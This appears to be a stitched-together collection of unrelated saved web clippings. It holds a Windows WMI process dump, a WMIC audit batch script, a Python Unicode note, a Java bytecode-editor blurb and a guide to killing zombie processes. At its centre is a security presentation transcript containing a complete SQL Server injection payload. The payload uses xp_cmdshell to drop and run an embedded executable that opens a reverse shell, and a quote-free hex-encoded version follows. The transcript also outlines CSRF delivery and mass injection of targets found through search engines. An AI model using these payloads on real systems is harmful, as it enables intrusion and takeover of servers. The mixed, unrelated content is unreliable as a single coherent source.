    IWbemClassObject::Get: Caption=System Idle Process
    IWbemClassObject::Get: ThreadCount=1
    IWbemClassObject::Get: KernelModeTime=649121406250
    IWbemClassObject::Get: UserModeTime=0
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=28672
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="4"
    IWbemClassObject::Get: ProcessId=4
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=System
    IWbemClassObject::Get: ThreadCount=48
    IWbemClassObject::Get: KernelModeTime=103437500
    IWbemClassObject::Get: UserModeTime=0
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=241664
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="412"
    IWbemClassObject::Get: ProcessId=412
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=smss.exe
    IWbemClassObject::Get: ThreadCount=3
    IWbemClassObject::Get: KernelModeTime=156250
    IWbemClassObject::Get: UserModeTime=156250
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=442368
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="628"
    IWbemClassObject::Get: ProcessId=628
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=csrss.exe
    IWbemClassObject::Get: ThreadCount=11
    IWbemClassObject::Get: KernelModeTime=12343750
    IWbemClassObject::Get: UserModeTime=5312500
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=4444160
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="720"
    IWbemClassObject::Get: ProcessId=720
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=winlogon.exe
    IWbemClassObject::Get: ThreadCount=17
    IWbemClassObject::Get: KernelModeTime=15156250
    IWbemClassObject::Get: UserModeTime=2343750
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=5029888
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="764"
    IWbemClassObject::Get: ProcessId=764
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=services.exe
    IWbemClassObject::Get: ThreadCount=15
    IWbemClassObject::Get: KernelModeTime=8927500000
    IWbemClassObject::Get: UserModeTime=901250000
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=3727360
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="776"
    IWbemClassObject::Get: ProcessId=776
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=lsass.exe
    IWbemClassObject::Get: ThreadCount=20
    IWbemClassObject::Get: KernelModeTime=143437500
    IWbemClassObject::Get: UserModeTime=28906250
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=1490944
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="932"
    IWbemClassObject::Get: ProcessId=932
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=vmacthlp.exe
    IWbemClassObject::Get: ThreadCount=1
    IWbemClassObject::Get: KernelModeTime=0
    IWbemClassObject::Get: UserModeTime=156250
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=2768896
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="948"
    IWbemClassObject::Get: ProcessId=948
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=svchost.exe
    IWbemClassObject::Get: ThreadCount=17
    IWbemClassObject::Get: KernelModeTime=781250
    IWbemClassObject::Get: UserModeTime=468750
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=5214208
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="1032"
    IWbemClassObject::Get: ProcessId=1032
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=svchost.exe
    IWbemClassObject::Get: ThreadCount=9
    IWbemClassObject::Get: KernelModeTime=625000
    IWbemClassObject::Get: UserModeTime=781250
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=4546560
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="1152"
    IWbemClassObject::Get: ProcessId=1152
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=svchost.exe
    IWbemClassObject::Get: ThreadCount=49
    IWbemClassObject::Get: KernelModeTime=125937500
    IWbemClassObject::Get: UserModeTime=50781250
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=17682432
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="1188"
    IWbemClassObject::Get: ProcessId=1188
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=svchost.exe
    IWbemClassObject::Get: ThreadCount=5
    IWbemClassObject::Get: KernelModeTime=781250
    IWbemClassObject::Get: UserModeTime=312500
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=3985408
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="1224"
    IWbemClassObject::Get: ProcessId=1224
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=svchost.exe
    IWbemClassObject::Get: ThreadCount=4
    IWbemClassObject::Get: KernelModeTime=0
    IWbemClassObject::Get: UserModeTime=156250
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=3346432
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="1396"
    IWbemClassObject::Get: ProcessId=1396
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=spoolsv.exe
    IWbemClassObject::Get: ThreadCount=11
    IWbemClassObject::Get: KernelModeTime=625000
    IWbemClassObject::Get: UserModeTime=156250
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=6545408
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="1776"
    IWbemClassObject::Get: ProcessId=1776
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=explorer.exe
    IWbemClassObject::Get: ThreadCount=10
    IWbemClassObject::Get: KernelModeTime=21718750
    IWbemClassObject::Get: UserModeTime=6093750
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=19316736
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="2008"
    IWbemClassObject::Get: ProcessId=2008
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=vmtoolsd.exe
    IWbemClassObject::Get: ThreadCount=5
    IWbemClassObject::Get: KernelModeTime=17031250
    IWbemClassObject::Get: UserModeTime=8593750
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=12140544
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="2024"
    IWbemClassObject::Get: ProcessId=2024
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=ctfmon.exe
    IWbemClassObject::Get: ThreadCount=1
    IWbemClassObject::Get: KernelModeTime=156250
    IWbemClassObject::Get: UserModeTime=312500
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=3600384
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="476"
    IWbemClassObject::Get: ProcessId=476
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=PERSFW.exe
    IWbemClassObject::Get: ThreadCount=6
    IWbemClassObject::Get: KernelModeTime=2187500
    IWbemClassObject::Get: UserModeTime=1093750
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=6897664
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="516"
    IWbemClassObject::Get: ProcessId=516
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=vmtoolsd.exe
    IWbemClassObject::Get: ThreadCount=7
    IWbemClassObject::Get: KernelModeTime=124531250
    IWbemClassObject::Get: UserModeTime=63281250
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=13619200
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="1472"
    IWbemClassObject::Get: ProcessId=1472
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=TPAutoConnSvc.exe
    IWbemClassObject::Get: ThreadCount=5
    IWbemClassObject::Get: KernelModeTime=1093750
    IWbemClassObject::Get: UserModeTime=468750
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=4669440
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="1796"
    IWbemClassObject::Get: ProcessId=1796
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=TPAutoConnect.exe
    IWbemClassObject::Get: ThreadCount=1
    IWbemClassObject::Get: KernelModeTime=5312500
    IWbemClassObject::Get: UserModeTime=2500000
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=5267456
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="2040"
    IWbemClassObject::Get: ProcessId=2040
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=cmd.exe
    IWbemClassObject::Get: ThreadCount=1
    IWbemClassObject::Get: KernelModeTime=156250
    IWbemClassObject::Get: UserModeTime=156250
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=2961408
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="588"
    IWbemClassObject::Get: ProcessId=588
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=wmiprvse.exe
    IWbemClassObject::Get: ThreadCount=7
    IWbemClassObject::Get: KernelModeTime=0
    IWbemClassObject::Get: UserModeTime=156250
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=6332416
    IWbemClassObject::Get: __PATH=\\<hostname>\root\cimv2:Win32_Process.Handle="1592"
    IWbemClassObject::Get: ProcessId=1592
    IWbemClassObject::Get: CSName=<hostname>
    IWbemClassObject::Get: Caption=tasklist.exe
    IWbemClassObject::Get: ThreadCount=4
    IWbemClassObject::Get: KernelModeTime=2031250
    IWbemClassObject::Get: UserModeTime=2187500
    IWbemClassObject::Get: SessionId=0
    IWbemClassObject::Get: WorkingSetSize=5816320
[/code]

  
  

# Episode146 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:59:53 PM_  
---|---  
**Updated:**| _8/5/2009 1:00:02 PM_  
**Author:**| __  
**Tags:**| _security tools pauldotcom Tutorials_  
  

# Tech Segment: Feeding the "WMIC /node" monster

## Summary

With this one script, you can be on your way to WMIC enterprise-y goodness\!

## Details

Have you tried to use WMIC on multiple hosts at once only to be stymied by
arcane and cryptic error messages from the demon known as the "node" switch?
Does it feel as effective as trying to knock down a brick wall with your head?
Yeah\! We have too, and man does it suck... but we have great news for you\!
Mick has knocked down the wall for you\! \(and boy does his head \*hurt\*\)
He's made a handy helper batch command so you don't have to sit scared and
lonely at the forbidding wmic /node switch.

## The Code

Copy the following into a batch file:

[code]

    @ECHO OFF
    :::::
    :: 1_aib.bat -- by Mick Douglas
    ::
    :: Audit in Batch!
    ::
    :: Thanks to Ed Skoudis for revealing WMIC to me via SANS 504
    :: Thanks John Strand & the rest of the PaulDotCom crew for the help & support
    ::
    :: Purpose:
    :: this series of batch file is meant to allow pen testers to quickly audit windows domains
    :: via the command line tool wmic and other cli tools.
    :: 
    :: ** Warning ** If you break any laws while using this tool, it's all *your* fault.
    :::::
    
    :: version 0.01
    :: date 20090326
    
    :: first we need to gather up all the members in the domain
    echo gathering domain nodes... 
    ::net view > domain_manifest.txt
    echo Done!  
    
    :: now we have to take this data and make it valid "WMIC /node" format.
    
    echo .  .
    echo  - 
    echo \__/
    
    echo Now scrub domain_manifest.txt on your system -- like so!
    echo ---
    echo "cat domain_manifest.txt | awk '{sub(/\\\\/,""); print $1}' > targets.txt"
    echo ---
    echo note:
    echo You might need to do the above on a *nix system!!
    echo if so, no worries.  Copy the domain_manifest.txt to your *nix box
    echo and then just re-enter the cat and awk command string from above
    
    :: that all there is... for now (que scary music)
    
[/code]

# One click ownage

**Created:**| _7/7/2009 9:16:12 AM_  
---|---  
**Updated:**| _7/7/2009 9:19:20 AM_  
**Author:**| __  
**Tags:**| _security tools pentest_  
  

[code]

    http://www.slideshare.net/fmavituna/one-click-ownage-1660539
[/code]

[code]

      
    
[/code]

[code]

    One Click Ownage - Presentation TranscriptAdventures of a lazy pen tester...  
    One Click Ownage  
    Ferruh Mavituna, IT UNDERGROUND – Prague 2009  
    The part that I’m trying to explain who the hell am I to audience, so they’d listen instead of falling asleep...  
    Part I – Prologue  
    &gt;whoami  
    A security researcher and penetration tester who focused on application security, automated detection and exploitation.   
    Currently working in London / UK for Portcullis Computer Security Limited.  
    &gt;whoami  
    Developer of,  
    XSS Shell, XSS Tunnel  
    BSQL Hacker  
    Author of,  
    XSS Tunnelling  
    Deep Blind SQL Injection  
    SQL Wildcard Attacks  
    SQL Injection Cheat Sheet  
    Let’s whine about how penetration testing can be so boring and repetitive.  
    Part II – Whining  
    Booooring...  
    Penetration Testing can be quite repetitive and hell of a boring task.  
    To make it more fun:  
    Automate as much as possible,  
    Own the system as quick as you can.  
    Two ways to get over it  
    Quit your job, dominate the world via SQL Injection for fun and profit.  
    Get a shell from the target system(s) within the first 30 minutes of the test. Then examine source code, escalate your privileges etc.   
    Either way I’m going to show you how...  
    Let the game begin...  
    Part III – Action  
    How to get a shell 101  
    RFI – Remote File Inclusions  
    LFI - Local File Inclusions  
    SQL Injection  
    xp_cmdshell, MySQL UDF etc.  
    Writing a webshell from an SQL Injection  
    Command Injection (passthrough etc.)  
    Code Injection (eval, PHP /e regexes etc.)  
    File Upload  
    WebDAV  
    SSI  
    What would you do?  
    SQL Injection  
    SQL Server   
    Privileged / SA Connection  
    What would you do?  
    TFTP/FTP/UNC Share Tricks  
    Relies on TFTP or FTP  
    There shouldn’t be any outbound filtering for FTP, TFTP and UNC  
    Requires a TFTP/FTP/UNC listener in the attacker’s system  
    If outbound filtering is in place, split your binary into so many chunks then feed it to debug.exe  
    Slow and requires many requests  
    You need an automated tool to do this (such as sqlninja)  
    What would you do?  
    SQL Injection  
    Open Source Application  
    Vulnerable to SQL Injection in “admin section” which is protected by NTML Authentication  
    SQL Server   
    Privileged / SA Connection  
    Vulnerable to CSRF  
    What would you do?  
    Well, you can drop some tables or maybe write a file, or can execute one command?  
    Can you get a shell? Maybe...  
    Now we are talking  
    Part IV – One Click Ownage  
    Magic String  
    1;exec master..xp_cmdshell &apos;echo d=&quot;4D5A900003x0304x03FFFFx02B8x0740x2380x030E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24x075045x024C010300176FAD27x08E0000F030B0102380010x0310x0350x024062x0360x0370x0440x0210x0302x0204x0301x0304x0880x0310x0602x0520x0210x0410x0210x0610x0C70x02ACx7355505830x0550x0310x0702x0E80x02E055505831x0510x0360x0304x0302x0E40x02E055505832x0510x0370x0302x0306x0E40x02C0332E303300555058210D090209F0B5FC11B9DF8C86A641x021D02x0326x0226x02EDB7FFDBFF31C0B9002040006830100464FF30648920506A406812x02DA2FE4F65151E9x023C90FF253C402916B205DB07x020F40882A4BE6000700FFFFEE01FCE8560B535556578B6C24188B453C8B54057801FFFFFFE5EA8B4A5A2001EBE332498B348B01EE31FFFC31C0AC38E07407C1CFDB97EDFF0D01C7EBF23B7C241475E12324668B0C4B081CFFDFDE2E8B0429E8EB02285F5E5D5BC208005E6A305964FB7F7BFB8B198B5B0C021C8B1B040853688E4E0EECFFD689C709F3DFBE7C54CAAF9181EC00018A5057565389E5E81FFFFFFF5D900EB61918E7A41970E9ECF9AA60D909F5ADCBEDFC3B5753325F33FFFFFFFF32005B8D4B1851FFD789DF89C38D75146A05595153FF348FFF55045989048EE273DDB6FDF22B2754FF370D2883500040010C6FFFFF6D246D68C0A801976802001A0A89E16A10515714206A40B5B6BDFB5E56C1E6060308566A00100C5006A8B2E0AE851A18FFD3B81141B62A1F83AA0009C23617C974404858400F84CE54B60340615516A0A80C7FD90C14443C30014578697450E2DDBFFC726F636573735669727475616C0F746563740FF92FCF1050454C010300176FAD27E000788334FF0F030B0102380002221003EDBAB724F20B1F04060100DF7B369B07501775F90600205830D96037103F103D85A9485E84002E02857DC39E786090AC02236FD9FBBBB9602E72646174610C03EC9B9D3D64C2402E692784104B4188293B2427C029x03B82A070012x02FFx0E60BE156040008DBEEBAFFFFF57EB0B908A064688074701DB75078B1E83EEFC11DB72EDB801x0301DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B901x038A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE0040x028B0709C0743C8B5F048D84300060x0201F35083C708FF962860x02958A074708C074DC89F95748F2AE55FF962C60x0209C07407890383C304EBE1FF963C60x028BAE3060x028DBE00F0FFFFBB0010x0250546A045357FFD58D879F01x0280207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E938ACFFFFx444470x022870x165070x025E70x026E70x027E70x028C70x029A70x064B45524E454C33322E444C4Cx024C6F61644C69627261727941x0247657450726F6341646472657373x025669727475616C50726F74656374x025669727475616C416C6C6F63x025669727475616C46726565x034578697450726F63657373xFFx5A&quot;:W CreateObject^(&quot;Scripting.FileSystemObject&quot;^).GetSpecialFolder^(2^) ^&&quot;wr.exe&quot;, R^(d^):Function R^(t^):Dim Arr^(^):For i=0 To Len^(t^)-1 Step 2:Redim Preserve Ar^(S^):FB=Mid^(t,i+1,1^):SB=Mid^(t,i+2,1^):HX=FB ^& SB:If FB=&quot;x&quot; Then:NB=Mid^(t,i+3,1^):L=H^(SB ^& NB^):For j=0 To L:Redim Preserve Ar^(S+^(j*2^)+1^):Ar^(S+j^)=0:Ar^(S+j+1^)=0:Next:i=i+1:S=S+L:Else:If Len^(HX^)^&gt;0 Then:Ar^(S^)=H^(HX^):End If:S=S+1:End If:Next:Redim Preserve Ar^(S-2^):R=Ar:End Function:Function H^(HX^):H=CLng^(&quot;&H&quot; ^& HX^):End Function:Sub W^(FN, Buf^):Dim aBuf:Size = UBound^(Buf^):ReDim aBuf^(Size2^):For I = 0 To Size - 1 Step 2:aBuf^(I2^)=ChrW^(Buf^(I+1^)*256+Buf^(I^)^):Next:If I=Size Then:aBuf^(I2^)=ChrW^(Buf^(I^)^):End If:aBuf=Join^(aBuf,&quot;&quot;^):Set bS=CreateObject^(&quot;ADODB.Stream&quot;^):bS.Type=1:bS.Open:With CreateObject^(&quot;ADODB.Stream&quot;^):.Type=2:.Open:.WriteText aBuf:.Position=2:.CopyTo bS:.Close:EndWith:bS.SaveToFile FN,2:bS.Close:Set bS=Nothing:End Sub&gt;p.vbs && p.vbs && %TEMP%wr.exe&apos;  
    Demo  
    Getting a reverse shell  
    Step by Step  
    Generate a hex representation of the shell.exe in the local system,  
    Write a VBScript that can process this hex string and generate a valid binary file,  
    Put all this together into one line,  
    Carry out the SQL injection with this one line.  
    Demo  
    Generating the magic string  
    Little Tricks  
    Usage VBPacker, UPX and meterpreter  
    Further optimisation by compressing null bytes in the hex string,  
    It’s possible to use any executable as the initial payload, therefore you can upload a RAT or a tool to support DNS tunnelling to bypass outbound filtering.  
    Meterpreter gives us the flexibility to whatever we want after the initial exploitation.  
    Remember the CSRF  
    Do you remember that SQL Injection in the admin section, well now we can get a reverse shell out of it by crafting a CSRF attack which includes our magic string.  
    Demo  
    CSRF - Reverse Shell  
    Injection Without Quotes  
    DECLARE @X VARCHAR(8000);SET@X=CAST(0x65786563206d61737465722e2e78705f636d647368656c6c20276563686f20643d2234443541393030303033783033303478303346464646783032423878303734307832333830783033304531464241304530304234303943443231423830313443434432313534363836393733323037303732364636373732363136443230363336313645364536463734323036323635323037323735364532303639364532303434344635333230364436463634363532453044304430413234783037353034357830323443303130333030383731393444433078303845303030304630333042303130323338303031307830333130783033353078303234303632783033363078303337307830343430783032313078303330327830323034783033303178303330347830383830783033313078303630327830353230783032313078303431307830323130783036313078304337307830324143783733353535303538333078303535307830333130783037303278304538307830324530353535303538333178303531307830333630783033303478303330327830453430783032453035353530353833327830353130783033373078303330327830333036783045343078303243303333324533303333303035353530353832313044303930323039313942363943384143464445413637344136343178303231443032783033323678303232367830323444423746464442464633314330423930303230343030303638333031303034363446463330363438393230353036413430363831327830324441324645344636353135314539783032334339304646323533433430323931364232303544423037783032304634303838324134424536303030373030464646464545303146434538353630423533353535363537384236433234313838423435334338423534303537383031464646464646453545413842344135413230303145424533333234393842333438423031454533314646464333314330414333384530373430374331434644423937454446463044303143374542463233423743323431343735453132333234363638423043344230383143464644464445324538423034323945384542303232383546354535443542433230383030354536413330353936344642374637424642384231393842354230433032314338423142303430383533363838453445304545434646443638394337303946334446424537433534434141463931383145433030303138413530353735363533383945354538314646464646464635443930304542363139313845374134313937304539454346394141363044393039463541444342454446433342353735333332354633334646464646464646333230303542384434423138353146464437383944463839433338443735313436413035353935313533464633343846464635353034353938393034384545323733444442364644463232423237353446463337304432383833353030303430303130433646464646463644323436443638433041383041363436383032303031413041383945313641313035313537313432303641343042354236424446423545353643314536303630333038353636413030313030433530303641384232453041453835314131384646443342383131343142363241314638334141303030394332333631374339373434303438353834303046383443453534423630333430363135353136413041383043374644393043313434343343333030313435373836393734353045324444424646433732364636333635373337333536363937323734373536313643304637343635363337343046463932464346313035303435344330313033303038373139344443304530303037383833333446463046303330423031303233383030303232323130303345444241423732344632304231463034303630313030444637423336394230373530313737354639303630303230353833304439363033373130334631303344383541393438354538343030324530323835374443333945373836303930414330323233364644394642424242393630324537323634363137343631304330334543394239443344363443323430324536393237383431303442323730423239334232343237363334303241783033373030373030323478303246467830453630424531353630343030303844424545424146464646463537454230423930384130363436383830373437303144423735303738423145383345454643313144423732454442383031783033303144423735303738423145383345454643313144423131433030314442373345463735303938423145383345454643313144423733453433314339383345383033373230444331453030383841303634363833463046463734373438394335303144423735303738423145383345454643313144423131433930314442373530373842314538334545464331314442313143393735323034313031444237353037384231453833454546433131444231314339303144423733454637353039384231453833454546433131444237334534383343313032383146443030463346464646383344313031384431343246383346444643373630463841303234323838303734373439373546374539363346464646464639303842303238334332303438393037383343373034383345393034373746313031434645393443464646464646354538394637423930317830333841303734373243453833433031373746373830334630303735463238423037384135463034363643314538303843314330313038364334323946383830454245383031463038393037383343373035383844384532443938444245303034307830323842303730394330373433433842354630343844383433303030363078303230314633353038334337303846463936323836307830323935384130373437303843303734444338394639353734384632414535354646393632433630783032303943303734303738393033383343333034454245314646393633433630783032384241453330363078303238444245303046304646464642423030313078303235303534364130343533353746464435384438373946303178303238303230374638303630323837463538353035343530353335374646443535383631384434343234383036413030333943343735464138334543383045393338414346464646783434343437307830323238373078313635303730783032354537307830323645373078303237453730783032384337307830323941373078303634423435353234453435344333333332324534343443344378303234433646363136343443363936323732363137323739343178303234373635373435303732364636333431363436343732363537333733783032353636393732373437353631364335303732364637343635363337347830323536363937323734373536313643343136433643364636337830323536363937323734373536313643343637323635363578303334353738363937343530373236463633363537333733784646783541223a57204372656174654f626a6563745e2822536372697074696e672e46696c6553797374656d4f626a656374225e292e4765745370656369616c466f6c6465725e28325e29205e2620225c77722e657865222c20525e28645e293a46756e6374696f6e20525e28745e293a44696d204172725e285e293a466f7220693d3020546f204c656e5e28745e292d31205374657020323a526564696d2050726573657276652041725e28535e293a46423d4d69645e28742c692b312c315e293a53423d4d69645e28742c692b322c315e293a48583d4642205e262053423a49662046423d227822205468656e3a4e423d4d69645e28742c692b332c315e293a4c3d485e285342205e26204e425e293a466f72206a3d3020546f204c3a526564696d2050726573657276652041725e28532b5e286a2a325e292b315e293a41725e28532b6a5e293d303a41725e28532b6a2b315e293d303a4e6578743a693d692b313a533d532b4c3a456c73653a4966204c656e5e2848585e295e3e30205468656e3a41725e28535e293d485e2848585e293a456e642049663a533d532b313a456e642049663a4e6578743a526564696d2050726573657276652041725e28532d325e293a523d41723a456e642046756e6374696f6e3a46756e6374696f6e20485e2848585e293a483d434c6e675e2822264822205e262048585e293a456e642046756e6374696f6e3a53756220575e28464e2c204275665e293a44696d20614275663a53697a65203d2055426f756e645e284275665e293a526544696d20614275665e2853697a655c325e293a466f722049203d203020546f2053697a65202d2031205374657020323a614275665e28495c325e293d436872575e284275665e28492b315e292a3235362b4275665e28495e295e293a4e6578743a496620493d53697a65205468656e3a614275665e28495c325e293d436872575e284275665e28495e295e293a456e642049663a614275663d4a6f696e5e28614275662c22225e293a5365742062533d4372656174654f626a6563745e282241444f44422e53747265616d225e293a62532e547970653d313a62532e4f70656e3a57697468204372656174654f626a6563745e282241444f44422e53747265616d225e293a2e547970653d323a2e4f70656e3a2e57726974655465787420614275663a2e506f736974696f6e3d323a2e436f7079546f2062533a2e436c6f73653a456e6420576974683a62532e53617665546f46696c6520464e2c323a62532e436c6f73653a5365742062533d4e6f7468696e673a456e64205375623e702e76627320262620702e766273202626202554454d50255c77722e65786527 AS VARCHAR(8000));EXEC(@X);  
    Did I tell you that I’m really lazy ?  
    Part V – Automation  
    Introducing the “Web Raider”  
    What’s Web Raider  
    It’s a plugin based automated web application exploitation tool which focuses to get a shell from multiple targets or injection points.  
    Internally, it uses meterpreter listener  
    Currently got 3 plugins:  
    Simple HTML Parser (to identify injection points, parses HTML and extracts links and HTML Forms to attack)  
    SQL Injection  
    File Upload  
    Writing a new plugin is quite easy  
    Listener Screenshot  
    Demo  
    Web Raider  
    Part VI – World Domination  
    Image : http://www.suseblog.com/dr-evil-user-of-linux-wallpaper  
    Google + Mass SQL Injection  
    It’s easier than you thought..  
    Don’t try this at home! (definitely don’t try from home!)  
    Search google for “asp?id=“  
    Attack every single one of them with one request  
    Hmm, that’s it...  
    Got questions or anything to add, discuss?  
    Part VII  
    Thanks  
    Ferruh Mavituna, IT UNDERGROUND – Prague 2009  
    ferruh@mavituna.com
[/code]

# All About Python and Unicode | boodebr.org
**Created:**| _3/3/2010 4:08:02 PM_  
---|---  
**Updated:**| _3/3/2010 4:08:12 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security python programming_  
  

### Microsoft Windows

  
There are at least two ways of running Python under Windows. The first is to
use the **Win32 binaries** from www.python.org. I will refer to this method as
"Windows-native Python".  
  
The other method is by using the version of Python that comes with Cygwin This
version of Python looks \(to user code\) more like POSIX, instead of like a
Windows-native environment.  
  
For many things, the two versions are interchangeable. As long as you write
portable Python code, you shouldn't have to care which interpreter you are
running under.  _However_ , one important exception is when handling Unicode.
That is why I'll be specific here about which version I am running.

# JByteMod - Java Bytecode Editor

**Created:**| _3/7/2018 8:49:50 AM_  
---|---  
**Updated:**| _3/7/2018 8:49:50 AM_  
**Author:**| _wishi_  
**Tags:**| _Java backdoor_  
  

  

JByteMod

The simplest tool for modifying .jar files  
Current version: 1.7.0

<img src='img/Temp2_4632.png' width='829' height='453' />  

  

# How To Find And Kill Zombie Process On Linux System?

**Created:**| _2/6/2011 8:37:13 PM_  
---|---  
**Updated:**| _2/6/2011 8:37:26 PM_  
**Author:**| __  
**Tags:**| _bookmark Linux awesome_  
  

# How To Find And Kill Zombie Process On Linux System?

Copyright © Walker 30 Jan 2011 21:17

A zombie process \(a.k.a. defunct process\) is a process that has ended
execution but left in the process table of Linux operating system. So, how to
handle or terminate zombie process on Linux system?  
  
Suppose the parent process that started it has executed wait system call to
read its child process exit status, there will be no such defunct process left
in the process table.  
  
As the process terminated, the memory or system resources used during its
execution are freed or released to operating system. Therefore, zombie process
consumes very little system resource, except when the number of defunct
process increases tremendously until overload process table.  
  
How to find out or check the number of zombie process on Linux system? The
following commands can help \(reference is based on Redhat Linux, RHEL 5 to be
precise\).  
  
To check zombie / defunct process existence:  

[code]

    ps -elf | awk '{print $2" "$4" "$5}' | grep ^Z
    
    
[/code]

  
where the output of first column indicates status of process, second column
denotes process ID \(PID\) and third column is parent process ID \(PPID\).  
  
Alternative, grep the “defunct” keyword, i.e.:  

[code]

    ps -elf | grep defunct
    
    
[/code]

  
To find out the number of these defunct processes \(assuming the previous
command returns a long list\), simply include “wc” command. E.g. either one of
these two commands will do:  

[code]

    ps -elf | awk '{print $2}' | grep ^Z | wc -l
    ps -elf | grep defunct |grep -v grep | wc -l
    
    
[/code]

  
How to terminate zombie / defunct Linux process?  
  
Remember the definition of zombie process? It is a process that has stopped
execution except its entry in process table of Linux operating system \(and
thus consuming little system resources, if the number of such process is
small\).  
  
Therefore, you hardly can terminate defunct process by using “kill -9″
command. You might able to remove the zombie process by:  

  1. Restart or terminate its parent process that spawn it.
  2. Manually sending SIGCHLD signal to parent process \(advised by expert by never work for my cases\): 
[code]    kill -s SIGCHLD _ppid_

    
    
[/code]

  
